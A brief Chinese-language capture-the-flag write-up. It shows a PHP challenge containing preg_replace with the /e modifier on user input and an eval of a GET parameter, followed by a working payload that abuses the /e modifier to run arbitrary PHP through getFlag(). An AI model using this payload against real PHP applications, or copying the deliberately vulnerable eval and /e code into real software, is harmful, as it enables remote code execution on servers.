前面简单的步骤就不说了,主要是下面的代码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

想要调用getFlag(),主要是利用preg_replace函数
payload:\S*=${getFlag()}&cmd=phpinfo();
不过flag在phpinfo()里,没有getFlag函数好像也行。
参考